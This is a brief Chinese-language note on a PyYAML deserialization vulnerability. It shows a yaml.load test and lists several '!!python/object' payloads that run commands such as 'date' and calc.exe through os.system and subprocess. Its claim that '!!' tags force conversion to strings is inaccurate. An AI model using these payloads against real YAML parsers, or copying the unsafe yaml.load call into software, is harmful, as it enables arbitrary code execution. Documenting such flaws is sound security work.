pyyaml反序列化漏洞

pyyaml在解析含有！！开头的数据会强制进行类型转换成字符串格式。

测试

import yaml
yaml.load('!!python/object/apply:os.system ["date"]')

 

结果

poc还可以

!!python/object/apply:subprocess.check_output [[calc.exe]]
!!python/object/apply:subprocess.check_output ["calc.exe"]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/new:os.system ["calc.exe"]

参考：http://www.polaris-lab.com/index.php/archives/375/